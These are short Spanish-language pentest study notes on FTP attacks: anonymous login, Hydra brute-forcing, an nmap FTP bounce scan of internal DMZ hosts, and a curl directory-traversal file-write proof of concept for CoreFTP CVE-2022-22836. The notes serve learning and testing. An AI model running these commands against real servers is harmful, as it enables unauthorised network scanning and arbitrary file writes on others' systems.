Ataques
Podemos iniciar sesion siendo anonymous o podemos usar hydra para atacarlo
Bounce Back
Sirve para escanear puertos internos de otra máquina que no esta expuesta a internet en una DMZ
terminal
$ nmap -Pn -v -n -p80 -b anonymous:password@10.10.110.213 172.17.0.2
CVE-2022-22836 (CoreFTP)
- Vulnerabilidad: CoreFTP antes de la versión 727 tiene un error en la gestión de las solicitudes HTTP PUT.
- Impacto: Permite Directory Traversal y Arbitrary File Write.
- Causa: El servicio no controla adecuadamente las rutas y permisos de escritura fuera del directorio autorizado
terminal
$ curl -k -X PUT \-H "Host: <IP>" \--basic -u <username>:<password> \--data-binary "PoC." \--path-as-is https://<IP>/../../../../../../whoops